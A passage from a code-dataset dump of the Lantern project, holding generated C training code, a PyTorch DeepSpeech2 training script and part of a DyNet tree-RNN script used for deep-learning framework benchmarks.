26,50,20,1,x196,26,x252,50,1,x49,50);\nfor(int x1920=0; x1920 < 1000; x1920++) {\nfloat x1921 = x235[x1920];\nfloat x1922 = x236[x1920];\nfloat x1925 = x249[x1920];\nfloat x1923 = 1.0f - x1922;\nfloat x1924 = x1923 * x1922;\nfloat x1926 = x1924 * x1925;\nfloat x1927 = x1921 + x1926;\nx235[x1920] = x1927;\n\n}\n// back prop for + op\nfor(int x1932=0; x1932 < 20; x1932++) {\nint32_t x1934 = 50 * x1932;\nfor(int x1933=0; x1933 < 50; x1933++) {\nint32_t x1935 = x1934 + x1933;\nfloat x1936 = x219[x1935];\nfloat x1937 = x204[x1935];\nfloat x1938 = x39[x1933];\nfloat x1939 = x235[x1935];\nfloat x1940 = x1936 + x1939;\nx219[x1935] = x1940;\nfloat x1942 = x40[x1933];\nfloat x1943 = x204[x1935];\nfloat x1944 = x39[x1933];\nfloat x1945 = x235[x1935];\nfloat x1946 = x1942 + x1945;\nx40[x1933] = x1946;\n\n}\n\n}\n// back prop for + op\nfor(int x1953=0; x1953 < 20; x1953++) {\nint32_t x1955 = 50 * x1953;\nfor(int x1954=0; x1954 < 50; x1954++) {\nint32_t x1956 = x1955 + x1954;\nfloat x1957 = x200[x1956];\nfloat x1958 = x198[x1956];\nfloat x1959 = x201[x1956];\nfloat x1960 = x219[x1956];\nfloat x1961 = x1957 + x1960;\nx200[x1956] = x1961;\nfloat x1963 = x203[x1956];\nfloat x1964 = x198[x1956];\nfloat x1965 = x201[x1956];\nfloat x1966 = x219[x1956];\nfloat x1967 = x1963 + x1966;\nx203[x1956] = x1967;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x203,50,x29,50,1,x191,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x190,50,x203,50,1,x38,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x200,50,x18,50,1,x197,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x196,26,x200,50,1,x28,50);\n} else {\nfloat x1980 = 0.0f;\nfor(int x1981=0; x1981 < 1; x1981++) {\nfloat x1982 = x1980;\nfloat x1983 = x188[x1981];\nfloat x1984 = x1982 + x1983;\nx1980 = x1984;\n\n}\nfloat x1988 = x1980;\nfloat* x1989 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1990=0; x1990 < 1; x1990++) {\nx1989[x1990] = x1988;\n\n}\nfloat* x1994 = (float*)myMalloc(1 * sizeof(float));;\n// make sure the size of loss is 1\nfor(int x1996=0; x1996 < 1; x1996++) {\nx1994[x1996] = 1.0f;\n\n}\n// backend is lantern.TensorDslCPU$BackendCPU@35c19b35\nfor(int x2001=0; x2001 < 1; x2001++) {\nfloat x2002 = x1989[x2001];\nx158[x2001] = x2002;\n\n}\n// 'sum' gradient.\nif (x597) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x2011=0; x2011 < 1; x2011++) {\nfloat x2012 = x189[0];\nfloat x2013 = x1994[0];\nfloat x2014 = x2012 + x2013;\nx189[0] = x2014;\n\n}\n}\n};\nx183(0,x2021);\nfloat x2030 = x158[0];\nint32_t x2031 = x133 % 100;\nbool x2032 = x2031 == 0;\nif (x2032) {\nprintf(\"iter %d, loss %f\\n\",x133,x2030);\nint32_t x2034 = x133 / 100;\ndouble x2035 = (double)x2030;\nx127[x2034] = x2035;\n} else {\n}\nfor(int x2039=0; x2039 < 1300; x2039++) {\nfloat x2040 = x49[x2039];\nfloat x2041 = x2040;\nfloat x2042 = x2041;\nbool x2043 = x2042 > 5.0f;\nif (x2043) {\nx2041 = 5.0f;\n} else {\n}\nfloat x2047 = x2041;\nbool x2048 = x2047 < -5.0f;\nif (x2048) {\nx2041 = -5.0f;\n} else {\n}\nfloat x2052 = x112[x2039];\nfloat x2053 = x2041;\nfloat x2054 = x2053 * x2053;\nfloat x2055 = x2052 + x2054;\nx112[x2039] = x2055;\nfloat x2057 = x41[x2039];\nfloat x2059 = x112[x2039];\nfloat x2058 = 0.1f * x2053;\ndouble x2060 = (double)x2059;\ndouble x2061 = x2060 + 9.99999993922529E-9;\ndouble x2062 = sqrt(x2061);\nfloat x2063 = (float)x2062;\nfloat x2064 = x2058 / x2063;\nfloat x2065 = x2057 - x2064;\nx41[x2039] = x2065;\nx49[x2039] = 0.0f;\n\n}\nfor(int x2070=0; x2070 < 50; x2070++) {\nfloat x2071 = x60[x2070];\nfloat x2072 = x2071;\nfloat x2073 = x2072;\nbool x2074 = x2073 > 5.0f;\nif (x2074) {\nx2072 = 5.0f;\n} else {\n}\nfloat x2078 = x2072;\nbool x2079 = x2078 < -5.0f;\nif (x2079) {\nx2072 = -5.0f;\n} else {\n}\nfloat x2083 = x113[x2070];\nfloat x2084 = x2072;\nfloat x2085 = x2084 * x2084;\nfloat x2086 = x2083 + x2085;\nx113[x2070] = x2086;\nfloat x2088 = x59[x2070];\nfloat x2090 = x113[x2070];\nfloat x2089 = 0.1f * x2084;\ndouble x2091 = (double)x2090;\ndouble x2092 = x2091 + 9.99999993922529E-9;\ndouble x2093 = sqrt(x2092);\nfloat x2094 = (float)x2093;\nfloat x2095 = x2089 / x2094;\nfloat x2096 = x2088 - x2095;\nx59[x2070] = x2096;\nx60[x2070] = 0.0f;\n\n}\nfor(int x2101=0; x2101 < 2500; x2101++) {\nfloat x2102 = x58[x2101];\nfloat x2103 = x2102;\nfloat x2104 = x2103;\nbool x2105 = x2104 > 5.0f;\nif (x2105) {\nx2103 = 5.0f;\n} else {\n}\nfloat x2109 = x2103;\nbool x2110 = x2109 < -5.0f;\nif (x2110) {\nx2103 = -5.0f;\n} else {\n}\nfloat x2114 = x114[x2101];\nfloat x2115 = x2103;\nfloat x2116 = x2115 * x2115;\nfloat x2117 = x2114 + x2116;\nx114[x2101] = x2117;\nfloat x2119 = x50[x2101];\nfloat x2121 = x114[x2101];\nfloat x2120 = 0.1f * x2115;\ndouble x2122 = (double)x2121;\ndouble x2123 = x2122 + 9.99999993922529E-9;\ndouble x2124 = sqrt(x2123);\nfloat x2125 = (float)x2124;\nfloat x2126 = x2120 / x2125;\nfloat x2127 = x2119 - x2126;\nx50[x2101] = x2127;\nx58[x2101] = 0.0f;\n\n}\nfor(int x2132=0; x2132 < 50; x2132++) {\nfloat x2133 = x40[x2132];\nfloat x2134 = x2133;\nfloat x2135 = x2134;\nbool x2136 = x2135 > 5.0f;\nif (x2136) {\nx2134 = 5.0f;\n} else {\n}\nfloat x2140 = x2134;\nbool x2141 = x2140 < -5.0f;\nif (x2141) {\nx2134 = -5.0f;\n} else {\n}\nfloat x2145 = x115[x2132];\nfloat x2146 = x2134;\nfloat x2147 = x2146 * x2146;\nfloat x2148 = x2145 + x2147;\nx115[x2132] = x2148;\nfloat x2150 = x39[x2132];\nfloat x2152 = x115[x2132];\nfloat x2151 = 0.1f * x2146;\ndouble x2153 = (double)x2152;\ndouble x2154 = x2153 + 9.99999993922529E-9;\ndouble x2155 = sqrt(x2154);\nfloat x2156 = (float)x2155;\nfloat x2157 = x2151 / x2156;\nfloat x2158 = x2150 - x2157;\nx39[x2132] = x2158;\nx40[x2132] = 0.0f;\n\n}\nfor(int x2163=0; x2163 < 2500; x2163++) {\nfloat x2164 = x38[x2163];\nfloat x2165 = x2164;\nfloat x2166 = x2165;\nbool x2167 = x2166 > 5.0f;\nif (x2167) {\nx2165 = 5.0f;\n} else {\n}\nfloat x2171 = x2165;\nbool x2172 = x2171 < -5.0f;\nif (x2172) {\nx2165 = -5.0f;\n} else {\n}\nfloat x2176 = x116[x2163];\nfloat x2177 = x2165;\nfloat x2178 = x2177 * x2177;\nfloat x2179 = x2176 + x2178;\nx116[x2163] = x2179;\nfloat x2181 = x29[x2163];\nfloat x2183 = x116[x2163];\nfloat x2182 = 0.1f * x2177;\ndouble x2184 = (double)x2183;\ndouble x2185 = x2184 + 9.99999993922529E-9;\ndouble x2186 = sqrt(x2185);\nfloat x2187 = (float)x2186;\nfloat x2188 = x2182 / x2187;\nfloat x2189 = x2181 - x2188;\nx29[x2163] = x2189;\nx38[x2163] = 0.0f;\n\n}\nfor(int x2194=0; x2194 < 1300; x2194++) {\nfloat x2195 = x28[x2194];\nfloat x2196 = x2195;\nfloat x2197 = x2196;\nbool x2198 = x2197 > 5.0f;\nif (x2198) {\nx2196 = 5.0f;\n} else {\n}\nfloat x2202 = x2196;\nbool x2203 = x2202 < -5.0f;\nif (x2203) {\nx2196 = -5.0f;\n} else {\n}\nfloat x2207 = x117[x2194];\nfloat x2208 = x2196;\nfloat x2209 = x2208 * x2208;\nfloat x2210 = x2207 + x2209;\nx117[x2194] = x2210;\nfloat x2212 = x18[x2194];\nfloat x2214 = x117[x2194];\nfloat x2213 = 0.1f * x2208;\ndouble x2215 = (double)x2214;\ndouble x2216 = x2215 + 9.99999993922529E-9;\ndouble x2217 = sqrt(x2216);\nfloat x2218 = (float)x2217;\nfloat x2219 = x2213 / x2218;\nfloat x2220 = x2212 - x2219;\nx18[x2194] = x2220;\nx28[x2194] = 0.0f;\n\n}\nfor(int x2225=0; x2225 < 1300; x2225++) {\nfloat x2226 = x69[x2225];\nfloat x2227 = x2226;\nfloat x2228 = x2227;\nbool x2229 = x2228 > 5.0f;\nif (x2229) {\nx2227 = 5.0f;\n} else {\n}\nfloat x2233 = x2227;\nbool x2234 = x2233 < -5.0f;\nif (x2234) {\nx2227 = -5.0f;\n} else {\n}\nfloat x2238 = x118[x2225];\nfloat x2239 = x2227;\nfloat x2240 = x2239 * x2239;\nfloat x2241 = x2238 + x2240;\nx118[x2225] = x2241;\nfloat x2243 = x61[x2225];\nfloat x2245 = x118[x2225];\nfloat x2244 = 0.1f * x2239;\ndouble x2246 = (double)x2245;\ndouble x2247 = x2246 + 9.99999993922529E-9;\ndouble x2248 = sqrt(x2247);\nfloat x2249 = (float)x2248;\nfloat x2250 = x2244 / x2249;\nfloat x2251 = x2243 - x2250;\nx61[x2225] = x2251;\nx69[x2225] = 0.0f;\n\n}\nfor(int x2256=0; x2256 < 50; x2256++) {\nfloat x2257 = x80[x2256];\nfloat x2258 = x2257;\nfloat x2259 = x2258;\nbool x2260 = x2259 > 5.0f;\nif (x2260) {\nx2258 = 5.0f;\n} else {\n}\nfloat x2264 = x2258;\nbool x2265 = x2264 < -5.0f;\nif (x2265) {\nx2258 = -5.0f;\n} else {\n}\nfloat x2269 = x119[x2256];\nfloat x2270 = x2258;\nfloat x2271 = x2270 * x2270;\nfloat x2272 = x2269 + x2271;\nx119[x2256] = x2272;\nfloat x2274 = x79[x2256];\nfloat x2276 = x119[x2256];\nfloat x2275 = 0.1f * x2270;\ndouble x2277 = (double)x2276;\ndouble x2278 = x2277 + 9.99999993922529E-9;\ndouble x2279 = sqrt(x2278);\nfloat x2280 = (float)x2279;\nfloat x2281 = x2275 / x2280;\nfloat x2282 = x2274 - x2281;\nx79[x2256] = x2282;\nx80[x2256] = 0.0f;\n\n}\nfor(int x2287=0; x2287 < 2500; x2287++) {\nfloat x2288 = x78[x2287];\nfloat x2289 = x2288;\nfloat x2290 = x2289;\nbool x2291 = x2290 > 5.0f;\nif (x2291) {\nx2289 = 5.0f;\n} else {\n}\nfloat x2295 = x2289;\nbool x2296 = x2295 < -5.0f;\nif (x2296) {\nx2289 = -5.0f;\n} else {\n}\nfloat x2300 = x120[x2287];\nfloat x2301 = x2289;\nfloat x2302 = x2301 * x2301;\nfloat x2303 = x2300 + x2302;\nx120[x2287] = x2303;\nfloat x2305 = x70[x2287];\nfloat x2307 = x120[x2287];\nfloat x2306 = 0.1f * x2301;\ndouble x2308 = (double)x2307;\ndouble x2309 = x2308 + 9.99999993922529E-9;\ndouble x2310 = sqrt(x2309);\nfloat x2311 = (float)x2310;\nfloat x2312 = x2306 / x2311;\nfloat x2313 = x2305 - x2312;\nx70[x2287] = x2313;\nx78[x2287] = 0.0f;\n\n}\nfor(int x2318=0; x2318 < 26; x2318++) {\nfloat x2319 = x111[x2318];\nfloat x2320 = x2319;\nfloat x2321 = x2320;\nbool x2322 = x2321 > 5.0f;\nif (x2322) {\nx2320 = 5.0f;\n} else {\n}\nfloat x2326 = x2320;\nbool x2327 = x2326 < -5.0f;\nif (x2327) {\nx2320 = -5.0f;\n} else {\n}\nfloat x2331 = x121[x2318];\nfloat x2332 = x2320;\nfloat x2333 = x2332 * x2332;\nfloat x2334 = x2331 + x2333;\nx121[x2318] = x2334;\nfloat x2336 = x110[x2318];\nfloat x2338 = x121[x2318];\nfloat x2337 = 0.1f * x2332;\ndouble x2339 = (double)x2338;\ndouble x2340 = x2339 + 9.99999993922529E-9;\ndouble x2341 = sqrt(x2340);\nfloat x2342 = (float)x2341;\nfloat x2343 = x2337 / x2342;\nfloat x2344 = x2336 - x2343;\nx110[x2318] = x2344;\nx111[x2318] = 0.0f;\n\n}\nfor(int x2349=0; x2349 < 1300; x2349++) {\nfloat x2350 = x109[x2349];\nfloat x2351 = x2350;\nfloat x2352 = x2351;\nbool x2353 = x2352 > 5.0f;\nif (x2353) {\nx2351 = 5.0f;\n} else {\n}\nfloat x2357 = x2351;\nbool x2358 = x2357 < -5.0f;\nif (x2358) {\nx2351 = -5.0f;\n} else {\n}\nfloat x2362 = x122[x2349];\nfloat x2363 = x2351;\nfloat x2364 = x2363 * x2363;\nfloat x2365 = x2362 + x2364;\nx122[x2349] = x2365;\nfloat x2367 = x101[x2349];\nfloat x2369 = x122[x2349];\nfloat x2368 = 0.1f * x2363;\ndouble x2370 = (double)x2369;\ndouble x2371 = x2370 + 9.99999993922529E-9;\ndouble x2372 = sqrt(x2371);\nfloat x2373 = (float)x2372;\nfloat x2374 = x2368 / x2373;\nfloat x2375 = x2367 - x2374;\nx101[x2349] = x2375;\nx109[x2349] = 0.0f;\n\n}\nfor(int x2380=0; x2380 < 2500; x2380++) {\nfloat x2381 = x98[x2380];\nfloat x2382 = x2381;\nfloat x2383 = x2382;\nbool x2384 = x2383 > 5.0f;\nif (x2384) {\nx2382 = 5.0f;\n} else {\n}\nfloat x2388 = x2382;\nbool x2389 = x2388 < -5.0f;\nif (x2389) {\nx2382 = -5.0f;\n} else {\n}\nfloat x2393 = x123[x2380];\nfloat x2394 = x2382;\nfloat x2395 = x2394 * x2394;\nfloat x2396 = x2393 + x2395;\nx123[x2380] = x2396;\nfloat x2398 = x90[x2380];\nfloat x2400 = x123[x2380];\nfloat x2399 = 0.1f * x2394;\ndouble x2401 = (double)x2400;\ndouble x2402 = x2401 + 9.99999993922529E-9;\ndouble x2403 = sqrt(x2402);\nfloat x2404 = (float)x2403;\nfloat x2405 = x2399 / x2404;\nfloat x2406 = x2398 - x2405;\nx90[x2380] = x2406;\nx98[x2380] = 0.0f;\n\n}\nfor(int x2411=0; x2411 < 1300; x2411++) {\nfloat x2412 = x89[x2411];\nfloat x2413 = x2412;\nfloat x2414 = x2413;\nbool x2415 = x2414 > 5.0f;\nif (x2415) {\nx2413 = 5.0f;\n} else {\n}\nfloat x2419 = x2413;\nbool x2420 = x2419 < -5.0f;\nif (x2420) {\nx2413 = -5.0f;\n} else {\n}\nfloat x2424 = x124[x2411];\nfloat x2425 = x2413;\nfloat x2426 = x2425 * x2425;\nfloat x2427 = x2424 + x2426;\nx124[x2411] = x2427;\nfloat x2429 = x81[x2411];\nfloat x2431 = x124[x2411];\nfloat x2430 = 0.1f * x2425;\ndouble x2432 = (double)x2431;\ndouble x2433 = x2432 + 9.99999993922529E-9;\ndouble x2434 = sqrt(x2433);\nfloat x2435 = (float)x2434;\nfloat x2436 = x2430 / x2435;\nfloat x2437 = x2429 - x2436;\nx81[x2411] = x2437;\nx89[x2411] = 0.0f;\n\n}\nfor(int x2442=0; x2442 < 50; x2442++) {\nfloat x2443 = x100[x2442];\nfloat x2444 = x2443;\nfloat x2445 = x2444;\nbool x2446 = x2445 > 5.0f;\nif (x2446) {\nx2444 = 5.0f;\n} else {\n}\nfloat x2450 = x2444;\nbool x2451 = x2450 < -5.0f;\nif (x2451) {\nx2444 = -5.0f;\n} else {\n}\nfloat x2455 = x125[x2442];\nfloat x2456 = x2444;\nfloat x2457 = x2456 * x2456;\nfloat x2458 = x2455 + x2457;\nx125[x2442] = x2458;\nfloat x2460 = x99[x2442];\nfloat x2462 = x125[x2442];\nfloat x2461 = 0.1f * x2456;\ndouble x2463 = (double)x2462;\ndouble x2464 = x2463 + 9.99999993922529E-9;\ndouble x2465 = sqrt(x2464);\nfloat x2466 = (float)x2465;\nfloat x2467 = x2461 / x2466;\nfloat x2468 = x2460 - x2467;\nx99[x2442] = x2468;\nx100[x2442] = 0.0f;\n\n}\nint64_t x2473 = (long)mallocAddr;\nint64_t x2474 = x2473 - x128;\nmemset((void*)x128, 0, x2474);\nmallocAddr = (void*)x128;\n\n}\ndouble x2479 = ((double)clock() / CLOCKS_PER_SEC);\nint64_t x2482 = (long)fopen(x0, \"w\");\nfprintf((FILE *)x2482, \"unit: %s\\n\", \"100 iteration\");\nfor(int x2485=0; x2485 < 51; x2485++) {\ndouble x2486 = x127[x2485];\nfprintf((FILE *)x2482, \"%lf\\n\", x2486);\n\n}\ndouble x2480 = x126 - x2;\ndouble x2481 = x2479 - x126;\nfprintf((FILE *)x2482, \"run time: %lf %lf\\n\", x2480, x2481);\nfclose((FILE*)x2482);\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 0.555988073348999, "alphanum_fraction": 0.5628578066825867, "avg_line_length": 33.93600082397461, "blob_id": "8948c4df9361decf954c6c02190a5b36374b3f1b", "content_id": "d55e4a14532f53b7372e67f346107dbf3dc0e5d2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8734, "license_type": "permissive", "max_line_length": 130, "num_lines": 250, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-pytorch/pytorch/train.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import argparse\nimport errno\nimport json\nimport os\nimport time\n\nimport sys\n\nimport numpy as np\n\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\n### Import Data Utils ###\nsys.path.append('../')\n\nfrom model import DeepSpeech, supported_rnns\nimport user_defined_input\n\nimport params\n\n###########################################################\n# Comand line arguments, handled by params except seed #\n###########################################################\nparser = argparse.ArgumentParser(description='DeepSpeech training')\nparser.add_argument('--checkpoint', dest='checkpoint', action='store_true', help='Enables checkpoint saving of model')\nparser.add_argument('--save_folder', default='models/', help='Location to save epoch models')\nparser.add_argument('--model_path', default='models/deepspeech_final.pth.tar',\n help='Location to save best validation model')\nparser.add_argument('--continue_from', default='', help='Continue from checkpoint model')\n\nparser.add_argument('--seed', default=0xdeadbeef, type=int, help='Random Seed')\n\nparser.add_argument('--acc', default=23.0, type=float, help='Target WER')\n\nparser.add_argument('--start_epoch', default=0, type=int, help='Number of epochs at which to start from')\nparser.add_argument('--write_to', default='result_PyTorch', type=str, help='where to save the performance')\nparser.add_argument('--epochs', default=1, type=int, help='number of epochs to run')\n\ndef to_np(x):\n return x.data.cpu().numpy()\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\ndef main():\n args = parser.parse_args()\n\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed_all(args.seed)\n\n if params.rnn_type == 'gru' and params.rnn_act_type != 'tanh':\n print(\"ERROR: GRU does not currently support activations other than tanh\")\n sys.exit()\n\n if params.rnn_type == 'rnn' and params.rnn_act_type != 'relu':\n print(\"ERROR: We should be using ReLU RNNs\")\n sys.exit()\n\n print(\"=======================================================\")\n for arg in vars(args):\n print(\"***%s = %s \" % (arg.ljust(25), getattr(args, arg)))\n print(\"=======================================================\")\n\n save_folder = args.save_folder\n\n loss_results, cer_results, wer_results = torch.Tensor(params.epochs), torch.Tensor(params.epochs), torch.Tensor(params.epochs)\n best_wer = None\n try:\n os.makedirs(save_folder)\n except OSError as e:\n if e.errno == errno.EEXIST:\n print('Directory already exists.')\n else:\n raise\n\n with open(params.labels_path) as label_file:\n labels = str(''.join(json.load(label_file)))\n\n rnn_type = params.rnn_type.lower()\n assert rnn_type in supported_rnns, \"rnn_type should be either lstm, rnn or gru\"\n\n model = DeepSpeech(rnn_hidden_size = params.hidden_size,\n nb_layers = params.hidden_layers,\n labels = labels,\n rnn_type = supported_rnns[rnn_type],\n audio_conf = None,\n bidirectional = True,\n rnn_activation = params.rnn_act_type,\n bias = params.bias)\n\n parameters = model.parameters()\n optimizer = torch.optim.SGD(parameters, lr=params.lr,\n momentum=params.momentum, nesterov=False,\n weight_decay = params.l2)\n cuda = torch.device('cuda')\n criterion = torch.nn.CTCLoss(reduction='none').to(cuda)\n\n\n avg_loss = 0\n start_epoch = 0\n start_iter = 0\n avg_training_loss = 0\n if params.cuda:\n model.cuda()\n\n print(model)\n print(\"Number of parameters: %d\" % DeepSpeech.get_param_size(model))\n\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n ctc_time = AverageMeter()\n forward_time = AverageMeter()\n backward_time = AverageMeter()\n\n filename = \"/scratch-ml00/wang603/deepspeechData/deepspeech_train.pickle\"\n batchedData = user_defined_input.Batch(filename)\n\n def train_one_epoch(epoch):\n avg_loss = 0\n for i in range(batchedData.numBatches):\n# if i == 1: return\n end = time.time()\n inputs, targets, input_percentages, target_sizes = batchedData.batch(last=False)\n\n # making all inputs Tensor\n inputs = torch.from_numpy(inputs)\n targets = torch.from_numpy(targets)\n input_percentages = torch.from_numpy(input_percentages)\n target_sizes = torch.from_numpy(target_sizes)\n # measure data loading time\n data_time.update(time.time() - end)\n inputs = Variable(inputs, requires_grad=False)\n target_sizes = Variable(target_sizes, requires_grad=False)\n targets = Variable(targets, requires_grad=False)\n\n if params.cuda:\n inputs = inputs.cuda()\n\n # measure forward pass time\n forward_start_time = time.time()\n out = model(inputs)\n # out = out.transpose(0, 1) # TxNxH\n\n seq_length = out.size(0)\n sizes = Variable(input_percentages.mul_(int(seq_length)).int(), requires_grad=False)\n\n # measure ctc loss computing time\n ctc_start_time = time.time()\n out = out.log_softmax(2) #.detach().requires_grad_()\n # print(sizes.shape)\n # print(out.shape)\n loss = criterion(out, targets, sizes, target_sizes)\n ctc_time.update(time.time() - ctc_start_time)\n\n loss = loss / inputs.size(0) # average the loss by minibatch\n\n loss_sum = loss.sum()\n inf = float(\"inf\")\n if loss_sum == inf or loss_sum == -inf:\n print(\"WARNING: received an inf loss, setting loss value to 0\")\n loss_value = 0\n else:\n loss_value = loss_sum.data.item()\n\n avg_loss += loss_value\n losses.update(loss_value, inputs.size(0))\n\n forward_time.update(time.time() - forward_start_time)\n\n # measure backward pass time\n backward_start_time = time.time()\n # compute gradient\n optimizer.zero_grad()\n loss_sum.backward()\n\n torch.nn.utils.clip_grad_norm(model.parameters(), params.max_norm)\n # SGD step\n optimizer.step()\n\n if params.cuda:\n torch.cuda.synchronize()\n\n backward_time.update(time.time() - backward_start_time)\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n\n if (i % 20 == 0):\n print('Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Forward {forward_time.val:.3f} ({forward_time.avg:.3f})\\t'\n 'CTC Time {ctc_time.val:.3f} ({ctc_time.avg:.3f})\\t'\n 'Backward {backward_time.val:.3f} ({backward_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(\n (epoch + 1), (i + 1), batchedData.numBatches, batch_time=batch_time,\n data_time=data_time, forward_time=forward_time, ctc_time=ctc_time,\n backward_time=backward_time, loss=losses))\n\n del loss\n del out\n\n avg_loss /= batchedData.numBatches # len(train_loader)\n\n print('Training Summary Epoch: [{0}]\\t'\n 'Average Loss {loss:.3f}\\t'\n\n .format(epoch + 1, loss=avg_loss, ))\n\n return avg_loss\n\n model.train()\n loss_save = []\n time_save = []\n for epoch in range(start_epoch, args.epochs):\n startTime = time.time()\n loss_save.append(train_one_epoch(epoch))\n endTime = time.time()\n time_save.append(endTime - startTime)\n print(\"epoch {} used {} seconds\".format(epoch, endTime - startTime))\n\n time_save.sort()\n median_time = time_save[int(args.epochs / 2)]\n with open(args.write_to, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(\"{}\\n\".format(loss))\n f.write(\"run time: \" + str(0.0) + \" \" + str(median_time) + \"\\n\")\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5953463912010193, "alphanum_fraction": 0.6173897981643677, "avg_line_length": 37.11333465576172, "blob_id": "053add4aa18ed8ecf9cc13b626918f4938c3d149", "content_id": "7c3f4332a17aa8c482f536d2699c5bd4dfb8e54c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5716, "license_type": "permissive", "max_line_length": 98, "num_lines": 150, "path": "/src/out/NIPS18evaluation/evaluationTreeLSTM/Dynet/treernnDynet.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import dynet as dy\nimport numpy as np\nimport time\n\n\ndef run(filename):\n\n startTime = time.time()\n\n # read word embedding\n word_embedding_size = 300\n word_embedding_file = \"small_glove.txt\"\n word_embedding = []\n with open(word_embedding_file, 'r') as f:\n for (counter, line) in enumerate(f):\n if counter == 0:\n word_embedding_length = int(line)\n else:\n word_embedding.append(np.asarray([float(i) for i in line.split()]).reshape(1, -1))\n\n word_embedding = np.concatenate(word_embedding, axis = 0)\n print(word_embedding.shape)\n print(word_embedding_length)\n\n # read tree_data\n tree_data_file = \"array_tree.txt\"\n scores = []\n words = []\n lchs = []\n rchs = []\n with open(tree_data_file, 'r') as f:\n for (counter, line) in enumerate(f):\n if counter == 0:\n tree_data_size = int(line)\n else:\n temp = np.asarray([int(i) for i in line.split()])\n if (counter-1) % 5 == 1: scores.append(temp)\n elif (counter-1) % 5 == 2: words.append(temp)\n elif (counter-1) % 5 == 3: lchs.append(temp)\n elif (counter-1) % 5 == 4: rchs.append(temp)\n print(len(scores))\n print(len(words))\n print(len(lchs))\n print(len(rchs))\n print(tree_data_size)\n\n # hyperparameters\n hidden_size = 150\n output_size = 5\n learning_rate = 0.05\n batch = 1 # using larger batch size actually hurt the performance\n\n # parameters\n # for leaf\n m = dy.ParameterCollection()\n # Wi = m.add_parameters((hidden_size, word_embedding_size), init='normal', std=0.01)\n # bi = m.add_parameters(hidden_size, init = 0)\n # Wo = m.add_parameters((hidden_size, word_embedding_size), init='normal', std=0.01)\n # bo = m.add_parameters(hidden_size, init = 0)\n Wu = m.add_parameters((hidden_size, word_embedding_size), init='normal', std=0.01)\n bu = m.add_parameters(hidden_size, init = 0)\n # for non leaf\n # U0i = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # U1i = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # bbi = m.add_parameters(hidden_size, init = 0)\n # U00f = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # U01f = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # U10f = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # U11f = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # bbf = m.add_parameters(hidden_size, init = 0)\n # U0o = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # U1o = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n # bbo = m.add_parameters(hidden_size, init = 0)\n U0u = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n U1u = m.add_parameters((hidden_size, hidden_size), init='normal', std=0.01)\n bbu = m.add_parameters(hidden_size, init = 0)\n # for softmax\n Why = m.add_parameters((output_size, hidden_size), init='normal', std=0.01)\n by = m.add_parameters(output_size, init = 0)\n\n trainer = dy.AdagradTrainer(m, learning_rate = learning_rate, eps = 1e-8)\n\n # create a network for the xor problem given input and output\n def tree_lstm_network(scores, words, lchs, rchs):\n def rec(index):\n if (words[index] == -1):\n # branch node\n (l_loss, l_hidden) = rec(lchs[index])\n (r_loss, r_hidden) = rec(rchs[index])\n # i_gate = dy.logistic(U0i * l_hidden + U1i * r_hidden + bbi)\n # fl_gate = dy.logistic(U00f * l_hidden + U01f * r_hidden + bbf)\n # fr_gate = dy.logistic(U10f * l_hidden + U11f * r_hidden + bbf)\n # o_gate = dy.logistic(U0o * l_hidden + U1o * r_hidden + bbo)\n hidden = dy.tanh(U0u * l_hidden + U1u * r_hidden + bbu)\n # cell = dy.cmult(i_gate, u_value) + dy.cmult(fl_gate, l_cell) + dy.cmult(fr_gate, r_cell)\n # hidden = dy.cmult(o_gate, dy.tanh(cell))\n pred1 = dy.log_softmax(Why * hidden + by)\n loss = l_loss + r_loss - pred1[int(scores[index])]\n return (loss, hidden)\n else:\n embedding_tensor = dy.inputTensor(word_embedding[words[index]])\n # i_gate = dy.logistic(Wi * embedding_tensor + bi)\n # o_gate = dy.logistic(Wo * embedding_tensor + bo)\n hidden = dy.tanh(Wu * embedding_tensor + bu)\n # cell = dy.cmult(i_gate, u_value)\n # hidden = dy.cmult(o_gate, dy.tanh(cell))\n pred1 = dy.log_softmax(Why * hidden 